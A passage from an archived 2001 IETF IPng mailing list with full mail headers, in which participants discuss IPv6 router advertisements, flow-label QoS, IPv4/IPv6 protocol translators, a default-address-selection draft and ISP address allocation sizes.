the relavent RFCs, many technical documents and how-tos at http://www.zamanetworks.com Grant Furness Test Engineer Zama Networks, Inc. 206-835-5315 gfurness@zama.net http://www.zama.net http://www.zamanetworks.com ----- Original Message ----- From: "Emanuel Moreira" Date: Monday, May 14, 2001 3:53 pm Subject: IPv6 router advertisments > Where can I find something (RFC, DRAFT or else) about IPv6 router > advertisments? > > > Thanks > > Emanuel Moreira > > _____________________________________________________________ > > O e-mail preferido dos portugueses http://www.portugalmail.pt > > --- > You are currently subscribed to msripv6-users as: grant@zama.net > To unsubscribe send a blank email to leave-msripv6-users- > 1119W@list.research.microsoft.com ----463132953a514a1c Content-Type: text/x-vcard; name="gfurness.vcf"; charset=us-ascii Content-Disposition: attachment; filename="gfurness.vcf Content-Description: Card for Content-Transfer-Encoding: 7bit begin:vcard n:Furness;Grant fn:Grant Furness tel;work:203-835-5315 url:www.zama.net org:Zama Networks, Inc;Engineering adr:;;12101 International Blvd;Seattle;WA;98168; version:2.1 email;internet:gfurness@zama.net title:Test Engineer end:vcard ----463132953a514a1c-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon May 14 17:22:22 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f4F0LA926834 for ipng-dist; Mon, 14 May 2001 17:21:10 -0700 (PDT) Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4F0Kx426827 for ; Mon, 14 May 2001 17:20:59 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA06944 for ; Mon, 14 May 2001 17:20:58 -0700 (PDT) Received: from marduk.litech.org (marduk.cs.cornell.edu [128.84.154.54]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA27680 for ; Mon, 14 May 2001 17:20:57 -0700 (PDT) Received: from lutchann (helo=localhost) by marduk.litech.org with local-esmtp (Exim 3.22 #1) id 14zSa9-0000JU-00 for ipng@sunroof.eng.sun.com; Mon, 14 May 2001 20:20:57 -0400 Date: Mon, 14 May 2001 20:20:57 -0400 (EDT) From: Nathan Lutchansky To: ipng mailing list Subject: Flow label/QoS clarification Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hello everyone, I'm in the process of updating my IPv6 Primer, per the recommendations of the helpful people who sent me comments back in February, and I'm having some trouble finding basic information about QoS in IPv6. My understanding so far is that IPv6 has this opaque flow-label field in packet headers that should be used to implement QoS, but so far there has been no consensus as to how it should be used effectively. Appendix A of RFC 2460 states that sensitive flows should be allocated a flow label in a pseudorandom and uniform fashion, but beyond that, no information is given on how labelling could provide varying levels of service. I gather that the original intent of this field is to allow protocols like RSVP to distinguish between flows easily, to enable clients to reserve levels of service without having to use IPv4 tricks of looking into the transport and session headers. There are several expired drafts (draft-schmid-rsvp-fl-01, draft-berson-rsvp-ipv6-fl-00) that attempt to specify RSVP filters based on the flow label field, but they all seem to have expired. There was some discussion at the March meeting (which I wasn't able to attend) about use of the flow label, but it seems from the minutes that no conclusions were reached, and no real progress was made. Am I missing something, or do I have an accurate idea of where QoS in IPv6 is at right now? Unless somebody corrects me, the discussion of QoS in my primer will essentially be a paraphrasing of this email. -Nathan -- +-------------------+---------------------+------------------------+ | Nathan Lutchansky | lutchann@litech.org | Lithium Technologies | +------------------------------------------------------------------+ | I dread success. To have succeeded is to have finished one's | | business on earth... I like a state of continual becoming, | | with a goal in front and not behind. - George Bernard Shaw | +------------------------------------------------------------------+ -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 15 01:44:03 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f4F8grp27324 for ipng-dist; Tue, 15 May 2001 01:42:53 -0700 (PDT) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4F8gg427317 for ; Tue, 15 May 2001 01:42:42 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA04173 for ; Tue, 15 May 2001 01:42:41 -0700 (PDT) Received: from raven.ecs.soton.ac.uk (raven.ecs.soton.ac.uk [152.78.70.1]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA00895 for ; Tue, 15 May 2001 01:42:39 -0700 (PDT) Received: from hawk.ecs.soton.ac.uk (hawk.ecs.soton.ac.uk [152.78.68.142]) by raven.ecs.soton.ac.uk (8.9.3/8.9.3) with ESMTP id JAA03399; Tue, 15 May 2001 09:42:39 +0100 (BST) Received: from penelope (penelope.ecs.soton.ac.uk [152.78.68.135]) by hawk.ecs.soton.ac.uk (8.9.3/8.9.3) with ESMTP id JAA01432; Tue, 15 May 2001 09:42:38 +0100 (BST) Date: Tue, 15 May 2001 09:42:38 +0100 (BST) From: Tim Chown To: members@ipv6forum.com cc: ipng@sunroof.eng.sun.com Subject: Global IPv6 Summit in Canada: slides available online Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi. The presentations for the IPv6 Forum's Global IPv6 Summit being held this week in Ottawa, Canada, are now online. You can view them directly at: http://www.ipv6forum.com/navbar/events/ottawa01/presentations/index.html Or find them from the Forum's front page: http://www.ipv6forum.com/ The handful of missing slides will hopefully be made available next week. Tim -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 15 03:32:27 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f4FAVNM27482 for ipng-dist; Tue, 15 May 2001 03:31:23 -0700 (PDT) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4FAVC427475 for ; Tue, 15 May 2001 03:31:12 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA00940 for ; Tue, 15 May 2001 03:31:10 -0700 (PDT) Received: from smtp2.ihug.co.nz (smtp2.ihug.co.nz [203.109.252.8]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id EAA10447 for ; Tue, 15 May 2001 04:31:17 -0600 (MDT) Received: from mt (203-173-229-200.chc.ihugultra.co.nz [203.173.229.200]) by smtp2.ihug.co.nz (8.9.3/8.9.3/Debian 8.9.3-21) with SMTP id WAA06333 for ; Tue, 15 May 2001 22:31:04 +1200 X-Authentication-Warning: smtp2.ihug.co.nz: Host 203-173-229-200.chc.ihugultra.co.nz [203.173.229.200] claimed to be mt Message-ID: <006901c0dd2a$647136c0$010a0a0a@mt> From: "Sean Lin" To: References: Subject: protocol translators Date: Tue, 15 May 2001 22:32:50 +1200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Are there any other network address and protocol translator type of devices out there apart from - microsoft's NAPT - the NAPT created at the University of Washington - faithd - BT's translator I have heard that NTT has a translator as well. Is this true? Regards, Sean -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 15 04:03:05 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f4FB25j27555 for ipng-dist; Tue, 15 May 2001 04:02:05 -0700 (PDT) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4FB1s427548 for ; Tue, 15 May 2001 04:01:54 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA14917 for ; Tue, 15 May 2001 04:01:53 -0700 (PDT) Received: from ietf.org (odin.ietf.org [132.151.1.176]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id FAA03765 for ; Tue, 15 May 2001 05:01:58 -0600 (MDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA20167; Tue, 15 May 2001 07:01:38 -0400 (EDT) Message-Id: <200105151101.HAA20167@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ipng@sunroof.eng.sun.com From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-ipngwg-default-addr-select-04.txt Date: Tue, 15 May 2001 07:01:37 -0400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the IPNG Working Group of the IETF. Title : Default Address Selection for IPv6 Author(s) : R. Draves Filename : draft-ietf-ipngwg-default-addr-select-04.txt Pages : 20 Date : 14-May-01 This document describes two algorithms, for source address selection and for destination address selection. The algorithms specify default behavior for all IPv6 implementations. They do not override choices made by applications or upper-layer protocols, nor do they preclude the development of more advanced mechanisms for address selection. The two algorithms share a common framework, including an optional mechanism for allowing administrators to provide policy that can override the default behavior. In dual stack implementations, the framework allows the destination address selection algorithm to consider both IPv4 and IPv6 addresses - depending on the available source addresses, the algorithm might prefer IPv6 addresses over IPv4 addresses, or vice-versa. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-ipngwg-default-addr-select-04.txt Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-ipngwg-default-addr-select-04.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-ipngwg-default-addr-select-04.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20010514102829.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-ipngwg-default-addr-select-04.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-ipngwg-default-addr-select-04.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20010514102829.I-D@ietf.org> --OtherAccess-- --NextPart-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 15 10:30:37 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f4FHT9w28139 for ipng-dist; Tue, 15 May 2001 10:29:09 -0700 (PDT) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4FHSw428132 for ; Tue, 15 May 2001 10:28:58 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA01848 for ; Tue, 15 May 2001 10:28:52 -0700 (PDT) Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id KAA07030 for ; Tue, 15 May 2001 10:28:45 -0700 (PDT) Received: from shilpa.india.hp.com (shilpa.india.hp.com [15.10.43.114]) by palrel1.hp.com (Postfix) with ESMTP id 2E026261F; Tue, 15 May 2001 10:28:45 -0700 (PDT) Received: (from praveen@localhost) by shilpa.india.hp.com (8.8.6 (PHNE_17135)/8.8.6 SMKit7.02) id WAA17716; Tue, 15 May 2001 22:57:38 +0530 (IST) From: Praveen Kumar Amritaluru Message-Id: <200105151727.WAA17716@shilpa.india.hp.com> Subject: Re: BIND 9.1.1 AND IPv4-MAPPED IPv6 addresses To: Erik.Nordmark@eng.sun.com Date: Tue, 15 May 2001 22:57:38 +0530 (IST) Cc: praveen@india.hp.com, ipng@sunroof.eng.sun.com, BIND9-WORKERS@isc.org In-Reply-To: from Erik Nordmark at May "11," 2001 "10:19:28" am X-Mailer: ELM [$Revision: 1.17.214.3 $] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi Erik, -- > So IPv4-compatible addresses (6to4 addresses, "native" IPv6 address) must > be configured on the nodes and must be retrieved from something like the DNS. > > > This seems to suggest that we need to have a PTR record for > > IPv4-compatible-IPv6 addresses in in-addr.arpa domain as is the > > case with A records (IPv4 addresses) and not IP6.INT domain. > > I'm aware of that optimization but it isn't clear to me that it > is needed or desired. Please find a section (page 25) of RFC2553, Mar 1999 enclosed below: One possible source of confusion is the handling of IPv4-mapped IPv6 addresses and IPv4-compatible IPv6 addresses, but the following logic should apply. 1. If af is AF_INET6, and if len equals 16, and if the IPv6 address is an IPv4-mapped IPv6 address or an IPv4-compatible IPv6 address, then skip over the first 12 bytes of the IPv6 address, set af to AF_INET, and set len to 4. The question is: If IPv4 compatible address is a proper IPv6 address and searching of IPv4 compatible address in in-addr.arpa domain is just for optimization, then why not just search the record in in-addr.arpa domain and return hostent structure filled with v6 address and not v4 address. Setting af to AF_INET in returning hostent structure means that we are treating this address as IPv4 address. But that is not true. IPv4 compatible address is a IPv6 address and so the resultant hostent structure should contain IPv4 compatible address in network format in h_addr_list array and family should be set to AF_INET6 only. Or does af being mentioned does not refer to family field in hostent structure being returned to application. I feel that phrase is not correct w.r.t IPv4-compatible address. Anybody has any comments in this regard? -Praveen > > Erik > > -- ============================================================================== Praveen Kumar Amritaluru Phone (Off) : (91)(80)2251554 x 1306 HP India Software Operations Telnet : 847-1306 Bangalore 560 052 India. ============================================================================== -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 15 11:40:02 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f4FIc2X28415 for ipng-dist; Tue, 15 May 2001 11:38:02 -0700 (PDT) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4FIba428408 for ; Tue, 15 May 2001 11:37:36 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA05414 for ; Tue, 15 May 2001 11:37:33 -0700 (PDT) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA17857 for ; Tue, 15 May 2001 11:37:32 -0700 (PDT) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id D94164B0B; Wed, 16 May 2001 03:37:01 +0900 (JST) To: "Sean Lin" Cc: ipng@sunroof.eng.sun.com In-reply-to: mtl23's message of Tue, 15 May 2001 22:32:50 +1200. <006901c0dd2a$647136c0$010a0a0a@mt> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: protocol translators From: itojun@iijlab.net Date: Wed, 16 May 2001 03:37:01 +0900 Message-ID: <27431.989951821@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >Are there any other network address and protocol translator type of devices >out there apart from >- microsoft's NAPT >- the NAPT created at the University of Washington >- faithd >- BT's translator > > I have heard that NTT has a translator as well. Is this true? as far as I understand, NTT is running YDC's "TTB" translator implementation for customers. internally it is very similar to faithd (tcp relay). http://www.ydc.co.jp/ not sure if there's english webpage itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 15 11:42:49 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f4FIf7N28464 for ipng-dist; Tue, 15 May 2001 11:41:07 -0700 (PDT) Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4FIeJ428434 for ; Tue, 15 May 2001 11:40:20 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA03079 for ; Tue, 15 May 2001 11:40:13 -0700 (PDT) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id LAA04117 for ; Tue, 15 May 2001 11:40:11 -0700 (PDT) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id E204C4B0B; Wed, 16 May 2001 03:39:45 +0900 (JST) To: "Sean Lin" , ipng@sunroof.eng.sun.com In-reply-to: itojun's message of Wed, 16 May 2001 03:37:01 +0900. <27431.989951821@itojun.org> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: protocol translators From: itojun@iijlab.net Date: Wed, 16 May 2001 03:39:45 +0900 Message-ID: <27464.989951985@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > as far as I understand, NTT is running YDC's "TTB" translator > implementation for customers. internally it is very similar to faithd > (tcp relay). http://www.ydc.co.jp/IT/ip/TTB/index.html itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 16 04:58:11 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f4GBv8h00147 for ipng-dist; Wed, 16 May 2001 04:57:08 -0700 (PDT) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4GBux400139 for ; Wed, 16 May 2001 04:56:59 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA05273 for ; Wed, 16 May 2001 04:56:57 -0700 (PDT) Received: from netcore.fi (netcore.fi [193.94.160.1]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA19464 for ; Wed, 16 May 2001 04:56:56 -0700 (PDT) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.1/8.11.1) with ESMTP id f4GButb20334 for ; Wed, 16 May 2001 14:56:55 +0300 Date: Wed, 16 May 2001 14:56:54 +0300 (EEST) From: Pekka Savola To: Subject: RIR ISP to end-user address allocation policy? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 Content-Transfer-Encoding: 8BIT Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hello all, In a very recent RIPE meeting 1st May, Mirjam Kühne and Randy Bush presented the following on on IPv6 Address allocation policies: http://www.ripe.net/ripe/meetings/archive/ripe-39/presentations/ipv6develop/ Among others, on slide 8, "ISP to Customer" there is: --- * IAB/IESG recommended /48. * Use a /128 where it is absolutely known that one and only one device is required, e.g. dialup [<--!!!!!!!] * Use a /64 when sure net will not be subnetted, e.g. a mobile phone given 802.11, bluetooth, etc. --- I find this thinking, or at least the examples very flawed. Anyone want to start implementing NATv6 for people whose ISP refuses to give enough addresses to you can't (sub)network your home? This is very much related to the ISP discussion here a week or two ago; if ISP is allowed to assign /128, they probably will. Issues here: 1) End-users connecting with dial-up, ADSL, or whatever * Should get _at least_ /64 (so no _serius_ need for NAT) * Should subnetworking be possible (perhaps yes)? ==> /48 would be optimal. 2) Apparently IAB/IESG proposal was not taken too seriously * With /48 to end-users, the address space would be exhausted; this would be only 16 (not really used in assignments) + IPv4 space. ==> _Did IAB/IESG propose how this should be solved?_ If this is a wrong list, please advise which would be better one. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 16 06:53:11 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f4GDpfT00275 for ipng-dist; Wed, 16 May 2001 06:51:41 -0700 (PDT) Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4GDpW400268 for ; Wed, 16 May 2001 06:51:33 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA13345 for ; Wed, 16 May 2001 06:51:33 -0700 (PDT) Received: from brandenburg.cs.mu.OZ.AU (96-1.nat.psu.ac.th [202.28.96.1]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA11262 for ; Wed, 16 May 2001 06:51:31 -0700 (PDT) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id f4GDprX02652; Wed, 16 May 2001 20:51:54 +0700 (ICT) From: Robert Elz To: Pekka Savola cc: ipng@sunroof.eng.sun.com Subject: Re: RIR ISP to end-user address allocation policy? In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 16 May 2001 20:51:53 +0700 Message-ID: <2650.990021113@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: Wed, 16 May 2001 14:56:54 +0300 (EEST) From: Pekka Savola Message-ID: | 2) Apparently IAB/IESG proposal was not taken too seriously | * With /48 to end-users, the address space would be exhausted; | this would be only 16 (not really used in assignments) + IPv4 space. Huh? With allocations at /48, the address space available to be allocated is 64K times as big as the entire IPv4 address space, and the allocation is done in units of 1 regardless of how big the organisation is (at least until it gets VERY huge indeed - bigger than needed to justify a /8 in IPv4 space - just for the organisation itself, we're not talking about clients of ISPs here - then it can get 2...) The actual multiple of IPv4 space is closer to 4 million (2^24) in practical terms (based upon the approximation that the average size allocation in IPv4 is about a /24 - with all the /24's allocated, and the /16's and similar accounting for those allocations that are smaller than a /24). The internet as it is is probably reaching (at least) 5% to 10% of the planet - we only need a factor of 20 (but allow 100) to cover everything, and then add in another factor of 1000 to rid us of all the NAT around. That's still just 100K out of the 24M available. There's still room for expansion to another 240 times that size... It happens that the address plan is currently only allocating 1/256 of the total space - which matches nicely with the amount that we're likely to need sometime in the forseeable future. Subtract off the 2/256 that are in the "we won't use these" blocks, and the other 253/256 of the total space is available for use, when we eventually find some way of using it. Allocating at /48 the address space is not about to be exhausted... (and anyone doing large numbers of allocations to very small users can allocate /64's by default, and /48's to anyone who asks). kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 16 07:04:30 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f4GE3Cv00306 for ipng-dist; Wed, 16 May 2001 07:03:12 -0700 (PDT) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4GE2m400295 for ; Wed, 16 May 2001 07:02:51 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA17816 for ; Wed, 16 May 2001 07:02:48 -0700 (PDT) Received: from fwns2.raleigh.ibm.com (fwns2d.raleigh.ibm.com [204.146.167.236]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA24294 for ; Wed, 16 May 2001 07:02:47 -0700 (PDT) Received: from rtpmail01.raleigh.ibm.com (rtpmail01.raleigh.ibm.com [9.37.172.24]) by fwns2.raleigh.ibm.com (8.9.0/8.9.0/RTP-FW-1.2) with ESMTP id KAA37712; Wed, 16 May 2001 10:02:02 -0400 Received: from rotala.raleigh.ibm.com (root@rotala.raleigh.ibm.com [9.37.60.3]) by rtpmail01.raleigh.ibm.com (8.8.5/8.8.5/RTP-ral-1.1) with ESMTP id KAA19808; Wed, 16 May 2001 10:02:37 -0400 Received: from rotala.raleigh.ibm.com (narten@localhost) by rotala.raleigh.ibm.com (8.9.3/8.7/RTP-ral-1.0) with ESMTP id KAA05213; Wed, 16 May 2001 10:00:33 -0400 Message-Id: <200105161400.KAA05213@rotala.raleigh.ibm.com> To: Pekka Savola cc: ipng@sunroof.eng.sun.com Subject: Re: RIR ISP to end-user address allocation policy? In-Reply-To: Message from Pekka Savola of "Wed, 16 May 2001 14:56:54 +0300." Date: Wed, 16 May 2001 10:00:32 -0400 From: Thomas Narten Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi Pekka. Please read all of draft-iesg-ipv6-addressing-recommendations-00.txt (or wait a day or to for -01) before jumping to conclusions. I believe all of your issues are discussed there in detail. Thomas -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 16 07:45:43 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f4GEiTx00529 for ipng-dist; Wed, 16 May 2001 07:44:29 -0700 (PDT) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4GEiK400522 for ; Wed, 16 May 2001 07:44:20 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA17523 for ; Wed, 16 May 2001 07:44:20 -0700 (PDT) Received: from netcore.fi (netcore.fi [193.94.160.1]) by 